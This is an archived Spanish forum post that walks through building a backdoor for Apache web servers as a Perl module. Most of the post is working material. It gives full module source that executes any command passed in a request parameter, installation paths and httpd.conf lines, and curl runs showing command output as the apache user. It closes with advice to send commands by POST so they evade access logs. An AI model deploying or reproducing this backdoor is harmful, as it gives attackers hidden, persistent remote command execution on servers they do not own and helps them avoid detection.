InicioLinuxBackdooring Apache
Backdooring Apache


A la hora de pensar en cómo fortificar activos informáticos, diseñar políticas de seguridad o manejar información de un IDS, resulta importante tener todo el 'background' posible de las amenazas que te acechan.

El mundo de las 'backdoors' o herramientas destinadas a mantener un acceso ilegítimo, es muy amplio, rico y sofisticado, en el caso de Apache, parece que lo que más abunda son las típicas webshells, ficheros (normalmente en PHP) que se instalan como un CGI más pero con intención de poder ejecutar comandos a través del servidor web.

Este tipo de webshells tienen varios hándicaps:

+ Supone añadir un fichero en el directorio 'caliente' donde están las aplicaciones web.

+ Si se opta por modificar un fichero legítimo (troyanizarlo) se corre el riesgo de que en una actualización sea eliminado


En el post de hoy vamos a explicar una alternativa a las típicas webshells, vamos a crear una backdoor en forma de módulo Apache.

Crear un módulo Apache es relativamente sencillo ya que está bastante bien documentado como hacerlo, especialmente en C y Perl, optaremos por Perl para hacer un ejemplo sencillo de módulo 'backdoor' que funcione en cualquier instalación de Apache2 ahorrándonos tener que compilar nada.

El código fuente del módulo es este:


    package Apache2::Auxiliar;
    use strict;
    use Apache2::Const qw(:common);
    use Apache2::RequestIO  ();
    use Apache2::RequestRec ();
    use Apache2::ServerUtil ();
    use Apache2::ServerRec  ();
    use CGI ;
     
    sub handler {
            my $r = shift;
            $r->content_type('text/html');
            my $q = new CGI($r);
            my $comando = $q->param('n') ;
            my $respuesta = `$comando` ;
            $r->print(<<END);
    <HTML>
    <HEAD>
    <TITLE>Backdoring Shell</TITLE>
    </HEAD>
    <BODY>
    <H1>Command: </H1>
    $respuesta
    </BODY>
    </HTML>
    END
       return OK;
    }
    1;


Como se puede observar, bastante simple y sencillo, básicamente toma como parámetro (n) el comando a ejecutar, este comando es ejecutado, y se envía el resultado.

Para instalarlo, debemos copiar el fichero Auxiliar.pm (con el código anterior) en /usr/lib64/perl5/Apache2/ (ruta de una CentOS 6, otras distribuciones puede variar, especialmente si la arquitectura es 32bits)

Una vez copiado, necesitamos añadir las siguientes líneas en httpd.conf


<Location /auxiliar>
 SetHandler  perl-script
 PerlHandler Apache2::Auxiliar
</Location>


Reiniciamos el servidor, y si todo ha ido bien, ya tenemos disponible nuestra backdoor en forma de módulo.

La probamos:

$ curl -d "n=ls" http://192.168.4.66/auxiliar

<HTML>
<HEAD>
<TITLE>Backdoring Shell</TITLE>
</HEAD>
<BODY>
<H1>Command: </H1>

bin
boot
cgroup
dev
etc
home
lib
lib64
lost+found
media
mnt
opt
proc
root
sbin
selinux
srv
sys
tmp
usr
var


</BODY>

$ curl -d "n=whoami" http://192.168.4.66/auxiliar

<HTML>
<HEAD>
<TITLE>Backdoring Shell</TITLE>
</HEAD>
<BODY>
<H1>Command: </H1>

apache


</BODY>
</HTML>


Funciona perfectamente. Es muy importante usar siempre peticiones de tipo POST, para evitar que quede logeado más de la cuenta:

Petición tipo GET almacenada en fichero de log:

GET /auxiliar?n=ls HTTP/1.1

Petición tipo POST almacenada en fichero de log:

POST /auxiliar HTTP/1.1
Datos archivados del Taringa! original
30puntos
0visitas
0comentarios
Actividad nueva en Posteamelo
0puntos
7visitas
0comentarios
Dar puntos:

Dejá tu comentario

0/2000

Autor del Post

C
Corrosive🇦🇷
Usuario
Puntos0
Posts57
Ver perfil →
PosteameloArchivo Histórico de Taringa! (2004-2017). Preservando la inteligencia colectiva de la internet hispanohablante.

CONTACTO

18 de Septiembre 455, Casilla 52

Chillán, Región de Ñuble, Chile

Solo correo postal

© 2026 Posteamelo.com. No afiliado con Taringa! ni sus sucesores.

Contenido preservado con fines históricos y culturales.